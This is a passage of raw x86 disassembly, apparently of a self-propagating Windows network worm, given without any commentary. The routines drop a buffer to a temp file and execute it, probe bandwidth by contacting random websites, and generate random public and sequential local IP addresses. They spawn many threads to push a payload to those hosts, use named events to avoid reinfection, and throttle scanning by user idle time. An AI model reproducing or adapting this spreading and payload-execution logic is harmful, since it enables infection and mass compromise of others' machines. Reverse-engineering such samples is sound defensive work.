call ImpersonateLoggedOnUser
push [ebp+hObject] ; hObject
mov ebx, eax
call esi ; CloseHandle
loc_9AC38C: ; CODE XREF: sub_9AC33A+40j
push edi ; hObject
call esi ; CloseHandle
pop esi
loc_9AC390: ; CODE XREF: sub_9AC33A+28j
pop edi
loc_9AC391: ; CODE XREF: sub_9AC33A+14j
mov eax, ebx
pop ebx
leave
retn
sub_9AC33A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AC396(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)
sub_9AC396 proc near ; CODE XREF: sub_9AD914+38p
FileName = byte ptr -210h
PathName = byte ptr -10Ch
var_9 = byte ptr -9
NumberOfBytesWritten= dword ptr -8
var_4 = dword ptr -4
lpBuffer = dword ptr 8
nNumberOfBytesToWrite= dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
push ebx
push esi
push edi
mov ebx, 104h
push ebx ; uSize
lea eax, [ebp+PathName]
push eax ; lpBuffer
call GetSystemDirectoryA
mov esi, GetTempFileNameA
lea eax, [ebp+FileName]
push eax ; lpTempFileName
push 0 ; uUnique
mov edi, offset PrefixString ; "0"
push edi ; lpPrefixString
lea eax, [ebp+PathName]
push eax ; lpPathName
mov [ebp+var_9], 0
call esi ; GetTempFileNameA
test eax, eax
jnz short loc_9AC407
lea eax, [ebp+PathName]
push eax ; lpBuffer
push ebx ; nBufferLength
call GetTempPathA
lea eax, [ebp+FileName]
push eax ; lpTempFileName
xor ebx, ebx
push ebx ; uUnique
push edi ; lpPrefixString
lea eax, [ebp+PathName]
push eax ; lpPathName
mov [ebp+var_9], 0
call esi ; GetTempFileNameA
jmp short loc_9AC409
; ---------------------------------------------------------------------------
loc_9AC407: ; CODE XREF: sub_9AC396+47j
xor ebx, ebx
loc_9AC409: ; CODE XREF: sub_9AC396+6Fj
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 2 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_9AC46E
mov esi, [ebp+nNumberOfBytesToWrite]
push ebx ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push esi ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
mov [ebp+NumberOfBytesWritten], ebx
push edi ; hFile
call WriteFile
push edi ; hObject
call CloseHandle
cmp [ebp+NumberOfBytesWritten], esi
lea eax, [ebp+FileName]
jnz short loc_9AC467
push ebx ; int
push eax ; lpCommandLine
call sub_9AC2CA
test eax, eax
pop ecx
pop ecx
jz short loc_9AC46E
mov [ebp+var_4], 1
jmp short loc_9AC46E
; ---------------------------------------------------------------------------
loc_9AC467: ; CODE XREF: sub_9AC396+B9j
push eax ; lpFileName
call DeleteFileA
loc_9AC46E: ; CODE XREF: sub_9AC396+91j
; sub_9AC396+C6j ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_9AC396 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AC476 proc near ; CODE XREF: sub_9AC50E:loc_9AC54Ap
; sub_9AC50E:loc_9AC565p
szUrl = byte ptr -2Ch
var_D = byte ptr -0Dh
dwFlags = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 2Ch
push edi
xor edi, edi
call rand
push 5
pop ecx
xor edx, edx
div ecx
lea eax, [ebp+szUrl]
push ds:off_9B9AB4[edx*4]
push offset aHttpWww_S ; "http://www.%s"
push 20h ; Count
push eax ; Dest
call _snprintf
add esp, 10h
push edi ; dwReserved
lea eax, [ebp+dwFlags]
push eax ; lpdwFlags
mov [ebp+var_D], 0
call InternetGetConnectedState
test eax, eax
jz short loc_9AC509
push ebx
push esi
mov esi, GetTickCount
mov [ebp+var_4], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
push 1 ; int
lea eax, [ebp+var_4]
push eax ; int
lea eax, [ebp+szUrl]
push eax ; lpszUrl
call sub_9ABAC6
add esp, 0Ch
mov ebx, eax
call esi ; GetTickCount
mov esi, eax
sub esi, [ebp+var_8]
test ebx, ebx
jz short loc_9AC507
push ebx ; hMem
call GlobalFree
test esi, esi
jz short loc_9AC507
mov eax, [ebp+var_4]
test eax, eax
jz short loc_9AC507
xor edx, edx
div esi
mov edi, eax
imul edi, 3E8h
loc_9AC507: ; CODE XREF: sub_9AC476+71j
; sub_9AC476+7Cj ...
pop esi
pop ebx
loc_9AC509: ; CODE XREF: sub_9AC476+42j
mov eax, edi
pop edi
leave
retn
sub_9AC476 endp
; =============== S U B R O U T I N E =======================================
sub_9AC50E proc near ; CODE XREF: sub_9AC6FE+Ap
; sub_9AC6FE+28p
var_C = dword ptr -0Ch
dwFlags = dword ptr -8
var_4 = dword ptr -4
sub esp, 0Ch
push ebx
push ebp
xor ebx, ebx
push ebx ; dwReserved
lea eax, [esp+18h+dwFlags]
push eax ; lpdwFlags
xor ebp, ebp
call InternetGetConnectedState
test eax, eax
jz loc_9AC5B3
mov al, byte ptr [esp+14h+dwFlags]
and al, 1
neg al
push esi
mov esi, Sleep
push edi
mov edi, 0BB8h
sbb eax, eax
and eax, 0FFFFFFA4h
add eax, 64h
mov ebp, eax
loc_9AC54A: ; CODE XREF: sub_9AC50E+50j
call sub_9AC476
test eax, eax
mov [esp+1Ch+var_4], eax
jnz short loc_9AC560
push edi ; dwMilliseconds
call esi ; Sleep
inc ebx
cmp ebx, 5
jl short loc_9AC54A
loc_9AC560: ; CODE XREF: sub_9AC50E+47j
and [esp+1Ch+var_C], 0
loc_9AC565: ; CODE XREF: sub_9AC50E+6Ej
call sub_9AC476
mov ebx, eax
test ebx, ebx
jnz short loc_9AC57E
push edi ; dwMilliseconds
call esi ; Sleep
inc [esp+1Ch+var_C]
cmp [esp+1Ch+var_C], 5
jl short loc_9AC565
loc_9AC57E: ; CODE XREF: sub_9AC50E+60j
mov eax, [esp+1Ch+var_4]
test eax, eax
pop edi
pop esi
jz short loc_9AC5B3
test ebx, ebx
jz short loc_9AC5B3
add eax, ebx
push 6
shr eax, 1
xor edx, edx
pop ecx
div ecx
push 2Ch
xor edx, edx
pop ecx
div ecx
mov ebp, eax
mov eax, 190h
cmp ebp, eax
jbe short loc_9AC5AB
mov ebp, eax
loc_9AC5AB: ; CODE XREF: sub_9AC50E+99j
cmp ebp, 8
jnb short loc_9AC5B3
push 8
pop ebp
loc_9AC5B3: ; CODE XREF: sub_9AC50E+17j
; sub_9AC50E+78j ...
mov eax, ebp
pop ebp
pop ebx
add esp, 0Ch
retn
sub_9AC50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AC5BB(LPVOID)
sub_9AC5BB proc near ; DATA XREF: sub_9AC6FE+58o
var_2C = dword ptr -2Ch
dwFlags = dword ptr -28h
Size = dword ptr -24h
Src = dword ptr -20h
netlong = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 1Ch
push offset stru_9A44C8
call __SEH_prolog
mov ebx, [ebp+arg_0]
push offset Addend ; lpAddend
call InterlockedIncrement
cmp ds:dword_9BA270, eax
jb loc_9AC6E9
and [ebp+ms_exc.disabled], 0
call sub_9AB510
push dword ptr [ebx+10h]
push dword ptr [ebx+4]
lea eax, [ebp+Size]
push eax
lea eax, [ebp+Src]
push eax
call sub_9A9654
add esp, 10h
test eax, eax
jz loc_9AC6E5
mov edi, 102h
mov esi, WaitForSingleObject
loc_9AC613: ; CODE XREF: sub_9AC5BB+100j
; sub_9AC5BB+113j
push 0 ; dwMilliseconds
push dword ptr [ebx] ; hHandle
call esi ; WaitForSingleObject
cmp eax, edi
jnz loc_9AC6D3
loc_9AC621: ; CODE XREF: sub_9AC5BB+ECj
push 0 ; dwReserved
lea eax, [ebp+dwFlags]
push eax ; lpdwFlags
call InternetGetConnectedState
test eax, eax
jz short loc_9AC6AD
loc_9AC631: ; CODE XREF: sub_9AC5BB+8Ej
; sub_9AC5BB+94j ...
call rand
mov word ptr [ebp+netlong], ax
call rand
mov word ptr [ebp+netlong+2], ax
cmp byte ptr [ebp+netlong], 0Bh
jb short loc_9AC631
cmp byte ptr [ebp+netlong], 0F0h
ja short loc_9AC631
cmp byte ptr [ebp+netlong+1], 0FEh
ja short loc_9AC631
cmp al, 0FEh
ja short loc_9AC631
cmp byte ptr [ebp+netlong+3], 1
jb short loc_9AC631
cmp byte ptr [ebp+netlong+3], 0FEh
ja short loc_9AC631
push [ebp+netlong]
call sub_9AB3B6
pop ecx
test eax, eax
jz short loc_9AC631
push [ebp+netlong]
call sub_9AB389
pop ecx
test eax, eax
jz short loc_9AC631
mov eax, [ebp+netlong]
mov [ebp+var_2C], eax
cmp eax, [ebx+4]
jz short loc_9AC69B
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push eax ; netlong
call sub_9A9BBC
add esp, 0Ch
loc_9AC69B: ; CODE XREF: sub_9AC5BB+CFj
push ds:dwMilliseconds ; dwMilliseconds
push dword ptr [ebx] ; hHandle
call esi ; WaitForSingleObject
cmp eax, edi
jz loc_9AC621
loc_9AC6AD: ; CODE XREF: sub_9AC5BB+74j
; sub_9AC5BB+111j
push 0 ; dwReserved
lea eax, [ebp+dwFlags]
push eax ; lpdwFlags
call InternetGetConnectedState
test eax, eax
jnz loc_9AC613
push 3E8h ; dwMilliseconds
push dword ptr [ebx] ; hHandle
call esi ; WaitForSingleObject
cmp eax, edi
jz short loc_9AC6AD
jmp loc_9AC613
; ---------------------------------------------------------------------------
loc_9AC6D3: ; CODE XREF: sub_9AC5BB+60j
push [ebp+Src] ; hMem
call GlobalFree
jmp short loc_9AC6E5
; ---------------------------------------------------------------------------
loc_9AC6DE: ; DATA XREF: .text:stru_9A44C8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AC6E2: ; DATA XREF: .text:stru_9A44C8o
mov esp, [ebp+ms_exc.old_esp]
loc_9AC6E5: ; CODE XREF: sub_9AC5BB+47j
; sub_9AC5BB+121j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
loc_9AC6E9: ; CODE XREF: sub_9AC5BB+20j
push offset Addend ; lpAddend
call InterlockedDecrement
xor eax, eax
call __SEH_epilog
retn 4
sub_9AC5BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AC6FE(LPVOID)
sub_9AC6FE proc near ; DATA XREF: sub_9ACABE+369o
ThreadId = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
call sub_9AB510
call sub_9AC50E
mov edi, [ebp+ThreadId]
jmp short loc_9AC72B
; ---------------------------------------------------------------------------
loc_9AC712: ; CODE XREF: sub_9AC6FE+31j
push 3E8h ; dwMilliseconds
push dword ptr [edi] ; hHandle
call WaitForSingleObject
cmp eax, 102h
jnz short loc_9AC781
call sub_9AC50E
loc_9AC72B: ; CODE XREF: sub_9AC6FE+12j
mov esi, eax
test esi, esi
jz short loc_9AC712
push ebx
push 3
pop ecx
xor edx, edx
div ecx
push eax ; Value
push offset Target ; Target
call InterlockedExchange
test esi, esi
mov ebx, CloseHandle
jbe short loc_9AC76B
loc_9AC74F: ; CODE XREF: sub_9AC6FE+6Bj
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
push edi ; lpParameter
push offset sub_9AC5BB ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread
push eax ; hObject
call ebx ; CloseHandle
dec esi
jnz short loc_9AC74F
loc_9AC76B: ; CODE XREF: sub_9AC6FE+4Fj
push 0FFFFFFFFh ; dwMilliseconds
push dword ptr [edi] ; hHandle
call WaitForSingleObject
push dword ptr [edi] ; hObject
call ebx ; CloseHandle
push edi ; hMem
call GlobalFree
pop ebx
loc_9AC781: ; CODE XREF: sub_9AC6FE+26j
pop edi
xor eax, eax
pop esi
pop ebp
retn 4
sub_9AC6FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AC789(LPVOID)
sub_9AC789 proc near ; DATA XREF: sub_9AC911+10Co
; sub_9ACABE+20Fo
var_30 = dword ptr -30h
dwFlags = dword ptr -2Ch
Size = dword ptr -28h
Src = dword ptr -24h
netlong = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 20h
push offset stru_9A44D8
call __SEH_prolog
mov esi, [ebp+arg_0]
mov [ebp+var_30], esi
push offset Addend ; lpAddend
call InterlockedIncrement
cmp ds:dword_9BA270, eax
jb loc_9AC8ED
and [ebp+ms_exc.disabled], 0
call sub_9AB510
mov ebx, 102h
mov edi, WaitForSingleObject
loc_9AC7C6: ; CODE XREF: sub_9AC789+14Aj
mov eax, [esi+8]
mov [ebp+netlong], eax
push dword ptr [esi+10h]
push dword ptr [esi+4]
lea eax, [ebp+Size]
push eax
lea eax, [ebp+Src]
push eax
call sub_9A9654
add esp, 10h
test eax, eax
jz loc_9AC893
and [ebp+var_1C], 0
loc_9AC7EE: ; CODE XREF: sub_9AC789+E9j
; sub_9AC789+FCj
push 0 ; dwMilliseconds
push dword ptr [esi] ; hHandle
call edi ; WaitForSingleObject
cmp eax, ebx
jnz loc_9AC88A
mov eax, [ebp+var_1C]
cmp eax, [esi+0Ch]
jnb loc_9AC88A
loc_9AC808: ; CODE XREF: sub_9AC789+D9j
push 0 ; dwReserved
lea eax, [ebp+dwFlags]
push eax ; lpdwFlags
call InternetGetConnectedState
test eax, eax
jz short loc_9AC864
mov eax, [ebp+var_1C]
cmp eax, [esi+0Ch]
jnb short loc_9AC864
push [ebp+netlong] ; netlong
call ntohl_0
inc eax
push eax ; netlong
call ntohl
mov [ebp+netlong], eax
cmp eax, [esi+4]
jz short loc_9AC85F
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push eax ; netlong
call sub_9A9BBC
add esp, 0Ch
cmp dword ptr [esi+14h], 0
mov eax, ds:dwMilliseconds
jnz short loc_9AC856
mov eax, ds:dword_9B9AB0
loc_9AC856: ; CODE XREF: sub_9AC789+C6j
push eax ; dwMilliseconds
push dword ptr [esi] ; hHandle
call edi ; WaitForSingleObject
cmp eax, ebx
jnz short loc_9AC864
loc_9AC85F: ; CODE XREF: sub_9AC789+ACj
inc [ebp+var_1C]
jmp short loc_9AC808
; ---------------------------------------------------------------------------
loc_9AC864: ; CODE XREF: sub_9AC789+8Dj
; sub_9AC789+95j ...
push 0 ; dwReserved
lea eax, [ebp+dwFlags]
push eax ; lpdwFlags
call InternetGetConnectedState
test eax, eax
jnz loc_9AC7EE
push 3E8h ; dwMilliseconds
push dword ptr [esi] ; hHandle
call edi ; WaitForSingleObject
cmp eax, ebx
jz short loc_9AC864
jmp loc_9AC7EE
; ---------------------------------------------------------------------------
loc_9AC88A: ; CODE XREF: sub_9AC789+6Dj
; sub_9AC789+79j
push [ebp+Src] ; hMem
call GlobalFree
loc_9AC893: ; CODE XREF: sub_9AC789+5Bj
cmp dword ptr [esi+14h], 0
jz short loc_9AC8A4
push offset dword_9BA280 ; lpAddend
call InterlockedDecrement
loc_9AC8A4: ; CODE XREF: sub_9AC789+10Ej
push 36EE80h ; dwMilliseconds
push dword ptr [esi] ; hHandle
call edi ; WaitForSingleObject
cmp eax, ebx
jnz short loc_9AC8D9
cmp dword ptr [esi+14h], 0
jnz short loc_9AC8D9
call rand
cdq
push 1Eh
pop ecx
idiv ecx
add edx, 3Ch
imul edx, 0EA60h
push edx ; dwMilliseconds
push dword ptr [esi] ; hHandle
call edi ; WaitForSingleObject
cmp eax, ebx
jz loc_9AC7C6
loc_9AC8D9: ; CODE XREF: sub_9AC789+126j
; sub_9AC789+12Cj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
jmp short loc_9AC8ED
; ---------------------------------------------------------------------------
loc_9AC8DF: ; DATA XREF: .text:stru_9A44D8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AC8E3: ; DATA XREF: .text:stru_9A44D8o
mov esp, [ebp+ms_exc.old_esp]
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov esi, [ebp+var_30]
loc_9AC8ED: ; CODE XREF: sub_9AC789+23j
; sub_9AC789+154j
push offset Addend ; lpAddend
call InterlockedDecrement
push dword ptr [esi] ; hObject
call CloseHandle
push esi ; hMem
call GlobalFree
xor eax, eax
call __SEH_epilog
retn 4
sub_9AC789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AC911 proc near ; CODE XREF: sub_9AE6A2+325p
Name = byte ptr -2Ch
var_D = byte ptr -0Dh
ThreadId = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 2Ch
push [ebp+arg_4]
call sub_9AB389
test eax, eax
pop ecx
jnz short loc_9AC933
mov eax, ds:dword_9BA278
mov [ebp+arg_4], eax
mov eax, ds:dword_9BA27C
jmp short loc_9AC938
; ---------------------------------------------------------------------------
loc_9AC933: ; CODE XREF: sub_9AC911+11j
mov eax, ds:dword_9BA2A4
loc_9AC938: ; CODE XREF: sub_9AC911+20j
push esi
mov esi, [ebp+arg_0]
push esi
mov [ebp+var_8], eax
call sub_9AB3B6
test eax, eax
pop ecx
jz loc_9ACA4D
push [ebp+arg_4]
call sub_9AB3B6
test eax, eax
pop ecx
jz loc_9ACA4D
push esi
call sub_9AB389
test eax, eax
pop ecx
jz loc_9ACA4D
push [ebp+arg_4]
call sub_9AB389
test eax, eax
pop ecx
jz loc_9ACA4D
mov al, byte ptr [ebp+arg_0+2]
push ebx
xor ebx, ebx
cmp al, 0Ah
mov [ebp+var_4], esi
jb short loc_9AC998
sub al, 0Ah
mov esi, 0AF5h
mov byte ptr [ebp+var_4+2], al
jmp short loc_9AC9A5
; ---------------------------------------------------------------------------
loc_9AC998: ; CODE XREF: sub_9AC911+79j
movzx esi, al
inc esi
imul esi, 0FFh
mov byte ptr [ebp+var_4+2], bl
loc_9AC9A5: ; CODE XREF: sub_9AC911+85j
push edi
push esi
mov byte ptr [ebp+var_4+3], bl
push [ebp+var_4]
lea eax, [ebp+Name]
push [ebp+arg_4]
push offset aN08x08x08x ; "n%08x%08x%08x"
push 20h ; Count
push eax ; Dest
call _snprintf
add esp, 18h
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInitialState
push 1 ; bManualReset
push ebx ; lpEventAttributes
mov [ebp+var_D], bl
call CreateEventA
mov edi, eax
cmp edi, ebx
jz short loc_9ACA4B
call GetLastError
cmp eax, 0B7h
jz short loc_9ACA44
push offset dword_9BA280 ; lpAddend
call InterlockedIncrement
cmp ds:Target, eax
jl short loc_9ACA39
push 18h ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
lea ecx, [ebp+ThreadId]
push ecx ; lpThreadId
push ebx ; dwCreationFlags
push eax ; lpParameter
push offset sub_9AC789 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
mov [eax], edi
mov [eax+0Ch], esi
mov dword ptr [eax+14h], 1
call CreateThread
push eax
jmp short loc_9ACA45
; ---------------------------------------------------------------------------
loc_9ACA39: ; CODE XREF: sub_9AC911+E8j
push offset dword_9BA280 ; lpAddend
call InterlockedDecrement
loc_9ACA44: ; CODE XREF: sub_9AC911+D5j
push edi ; hObject
loc_9ACA45: ; CODE XREF: sub_9AC911+126j
call CloseHandle
loc_9ACA4B: ; CODE XREF: sub_9AC911+C8j
pop edi
pop ebx
loc_9ACA4D: ; CODE XREF: sub_9AC911+37j
; sub_9AC911+48j ...
pop esi
leave
retn
sub_9AC911 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
; DWORD __stdcall sub_9ACA50(LPVOID)
sub_9ACA50 proc near ; DATA XREF: sub_9ACFCF+15o
plii = tagLASTINPUTINFO ptr -8
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, InterlockedExchange
push edi
mov ebp, offset dwMilliseconds
mov ebx, offset dword_9B9AB0
loc_9ACA66: ; CODE XREF: sub_9ACA50+6Cj
xor eax, eax
mov [esp+18h+plii.cbSize], 8
lea edi, [esp+18h+plii.dwTime]
stosd
lea eax, [esp+18h+plii]
push eax ; plii
call GetLastInputInfo
test eax, eax
jz short loc_9ACAB1
call GetTickCount
sub eax, [esp+18h+plii.dwTime]
cmp eax, 493E0h
jnb short loc_9ACAA4
push 7D0h ; Value
push ebp ; Target
call esi ; InterlockedExchange
push 0C8h
jmp short loc_9ACAAE
; ---------------------------------------------------------------------------
loc_9ACAA4: ; CODE XREF: sub_9ACA50+43j
push 3E8h ; Value
push ebp ; Target
call esi ; InterlockedExchange
push 64h ; Value
loc_9ACAAE: ; CODE XREF: sub_9ACA50+52j
push ebx ; Target
call esi ; InterlockedExchange
loc_9ACAB1: ; CODE XREF: sub_9ACA50+32j
push 2710h ; dwMilliseconds
call Sleep
jmp short loc_9ACA66
sub_9ACA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; DWORD __stdcall sub_9ACABE(LPVOID)
sub_9ACABE proc near ; DATA XREF: sub_9ACFCF+2Do
var_1850 = byte ptr -1850h
var_184C = byte ptr -184Ch
in = in_addr ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_C48 = dword ptr -0C48h
ThreadId = dword ptr -50h
var_4C = byte ptr -4Ch
Name = byte ptr -48h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 1850h
call __alloca_probe
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
mov [ebp+Dst], ebx
lea edi, [ebp+var_1C]
stosd
stosd
mov eax, ds:dword_9B9E20
shr eax, 1
mov ds:dword_9BA270, eax
call sub_9AB510
loc_9ACAEB: ; CODE XREF: sub_9ACABE+50Cj
mov esi, InternetGetConnectedState
jmp short loc_9ACAFE
; ---------------------------------------------------------------------------
loc_9ACAF3: ; CODE XREF: sub_9ACABE+49j
push 1388h ; dwMilliseconds
call Sleep
loc_9ACAFE: ; CODE XREF: sub_9ACABE+33j
lea eax, [ebp+var_4]
push ebx
push eax
call esi ; InternetGetConnectedState
test eax, eax
jz short loc_9ACAF3
loc_9ACB09: ; CODE XREF: sub_9ACABE+6Ej
push 1388h ; dwMilliseconds
call Sleep
lea eax, [ebp+in]
push 100h ; int
push eax ; Dst
call sub_9AB41B
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+var_C], eax
jz short loc_9ACB09
xor eax, eax
cmp [ebp+var_C], ebx
mov [ebp+var_4], eax
jbe loc_9ACD02
loc_9ACB3C: ; CODE XREF: sub_9ACABE+23Ej
lea eax, [eax+eax*2]
shl eax, 2
push [ebp+eax+var_C48]
push [ebp+eax+var_C4C]
push dword ptr [ebp+eax+in.S_un]
lea eax, [ebp+Name]
push offset aL08x08x08x ; "l%08x%08x%08x"
push 20h ; Count
push eax ; Dest
call _snprintf
add esp, 18h
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInitialState
push 1 ; bManualReset
push ebx ; lpEventAttributes
mov [ebp+var_29], bl
call CreateEventA
mov esi, eax
cmp esi, ebx
jz loc_9ACCF2
call GetLastError
cmp eax, 0B7h
jz loc_9ACCEB
cmp ds:dword_9BA278, ebx
jnz loc_9ACC9F
mov eax, [ebp+var_4]
lea eax, [eax+eax*2]
push dword ptr [ebp+eax*4+in.S_un]
call sub_9AB389
test eax, eax
pop ecx
jnz loc_9ACC9F
mov eax, [ebp+var_4]
lea eax, [eax+eax*2]
push dword ptr [ebp+eax*4+in.S_un] ; in
lea eax, [ebp+var_10]
push eax ; int
lea eax, [ebp+var_28]
push eax ; int
call sub_9A9289
add esp, 0Ch
test eax, eax
jz loc_9ACC9F
mov eax, [ebp+var_4]
mov ecx, [ebp+var_28]
lea eax, [eax+eax*2]
cmp ecx, dword ptr [ebp+eax*4+in.S_un]
jnz loc_9ACC9F
push [ebp+var_10]
call sub_9AB3B6
test eax, eax
pop ecx
jz loc_9ACC9F
push [ebp+var_10]
call sub_9AB389
test eax, eax
pop ecx
jz loc_9ACC9F
xor ecx, ecx
lea eax, [ebp+in]
loc_9ACC23: ; CODE XREF: sub_9ACABE+173j
mov edx, [eax]
cmp edx, [ebp+var_10]
jz short loc_9ACC9F
inc ecx
add eax, 0Ch
cmp ecx, [ebp+var_C]
jb short loc_9ACC23
push ebx ; in
lea eax, [ebp+var_8]
push eax ; int
xor eax, eax
mov ax, word ptr ds:dword_9BA2A4
mov [ebp+var_8], ebx
push eax ; __int16
call sub_9A932E
add esp, 0Ch
test eax, eax
jz short loc_9ACC9F
cmp word ptr [ebp+var_8], bx
jz short loc_9ACC9F
push [ebp+var_8]
push [ebp+var_10]
call sub_9AECA4
test eax, eax
pop ecx
pop ecx
jz short loc_9ACC9F
mov eax, [ebp+var_4]
lea eax, [eax+eax*2]
shl eax, 2
mov ecx, dword ptr [ebp+eax+in.S_un]
mov [ebp+Dst], ecx
mov ecx, [ebp+eax+var_C4C]
mov eax, [ebp+eax+var_C48]
mov [ebp+var_18], eax
movzx eax, word ptr [ebp+var_8]
mov ds:dword_9BA27C, eax
mov eax, [ebp+var_10]
mov [ebp+var_1C], ecx
mov ds:dword_9BA278, eax
loc_9ACC9F: ; CODE XREF: sub_9ACABE+DFj
; sub_9ACABE+FAj ...
push 18h ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov [eax], esi
mov ecx, [ebp+var_4]
lea esi, [ecx+ecx*2]
lea esi, [ebp+esi*4+in]
lea edi, [eax+4]
movsd
movsd
movsd
mov ecx, ds:dword_9BA2A4
mov [eax+10h], ecx
lea ecx, [ebp+ThreadId]
push ecx ; lpThreadId
push ebx ; dwCreationFlags
push eax ; lpParameter
push offset sub_9AC789 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
push 32h ; dwMilliseconds
call Sleep
jmp short loc_9ACCF2
; ---------------------------------------------------------------------------
loc_9ACCEB: ; CODE XREF: sub_9ACABE+D3j
push esi ; hObject
call CloseHandle
loc_9ACCF2: ; CODE XREF: sub_9ACABE+C2j
; sub_9ACABE+22Bj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_C]
mov [ebp+var_4], eax
jb loc_9ACB3C
loc_9ACD02: ; CODE XREF: sub_9ACABE+78j
cmp ds:dword_9BA278, ebx
jnz loc_9ACDBE
call sub_9A9580
mov esi, eax
push esi
call sub_9AB3B6
test eax, eax
pop ecx
jz short loc_9ACD2B
push esi
call sub_9AB389
test eax, eax
pop ecx
jnz short loc_9ACD2D
loc_9ACD2B: ; CODE XREF: sub_9ACABE+260j
xor esi, esi
loc_9ACD2D: ; CODE XREF: sub_9ACABE+26Bj
xor eax, eax
cmp [ebp+var_C], ebx
mov [ebp+var_4], eax
jbe short loc_9ACDB2
loc_9ACD37: ; CODE XREF: sub_9ACABE+2B9j
lea eax, [eax+eax*2]
push dword ptr [ebp+eax*4+in.S_un]
call sub_9AB389
test eax, eax
pop ecx
jz short loc_9ACD6D
mov eax, [ebp+var_4]
lea ecx, [eax+eax*2]
mov ecx, dword ptr [ebp+ecx*4+in.S_un]
cmp ecx, esi
jz short loc_9ACD60
cmp esi, ebx
jnz short loc_9ACD70
loc_9ACD60: ; CODE XREF: sub_9ACABE+29Cj
push ebx
push ecx
call sub_9AECA4
test eax, eax
pop ecx
pop ecx
jnz short loc_9ACD7B
loc_9ACD6D: ; CODE XREF: sub_9ACABE+28Bj
mov eax, [ebp+var_4]
loc_9ACD70: ; CODE XREF: sub_9ACABE+2A0j
inc eax
cmp eax, [ebp+var_C]
mov [ebp+var_4], eax
jb short loc_9ACD37
jmp short loc_9ACDB2
; ---------------------------------------------------------------------------
loc_9ACD7B: ; CODE XREF: sub_9ACABE+2ADj
mov eax, [ebp+var_4]
lea eax, [eax+eax*2]
shl eax, 2
mov ecx, dword ptr [ebp+eax+in.S_un]
mov edx, [ebp+eax+var_C4C]
mov eax, [ebp+eax+var_C48]
mov [ebp+var_18], eax
mov eax, ds:dword_9BA2A4
mov [ebp+Dst], ecx
mov [ebp+var_1C], edx
mov ds:dword_9BA27C, eax
mov ds:dword_9BA278, ecx
loc_9ACDB2: ; CODE XREF: sub_9ACABE+277j
; sub_9ACABE+2BBj
cmp ds:dword_9BA278, ebx
jz loc_9ACE4C
loc_9ACDBE: ; CODE XREF: sub_9ACABE+24Aj
push ebx
push ds:dword_9BA27C
lea eax, [ebp+Name]
push ds:dword_9BA278
push offset aW08x08x08x ; "w%08x%08x%08x"
push 20h ; Count
push eax ; Dest
call _snprintf
add esp, 18h
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInitialState
push 1 ; bManualReset
push ebx ; lpEventAttributes
mov [ebp+var_29], bl
call CreateEventA
mov esi, eax
cmp esi, ebx
jz short loc_9ACE4C
call GetLastError
cmp eax, 0B7h
jz short loc_9ACE45
push 18h ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov [eax], esi
mov ecx, ds:dword_9BA278
mov [eax+4], ecx
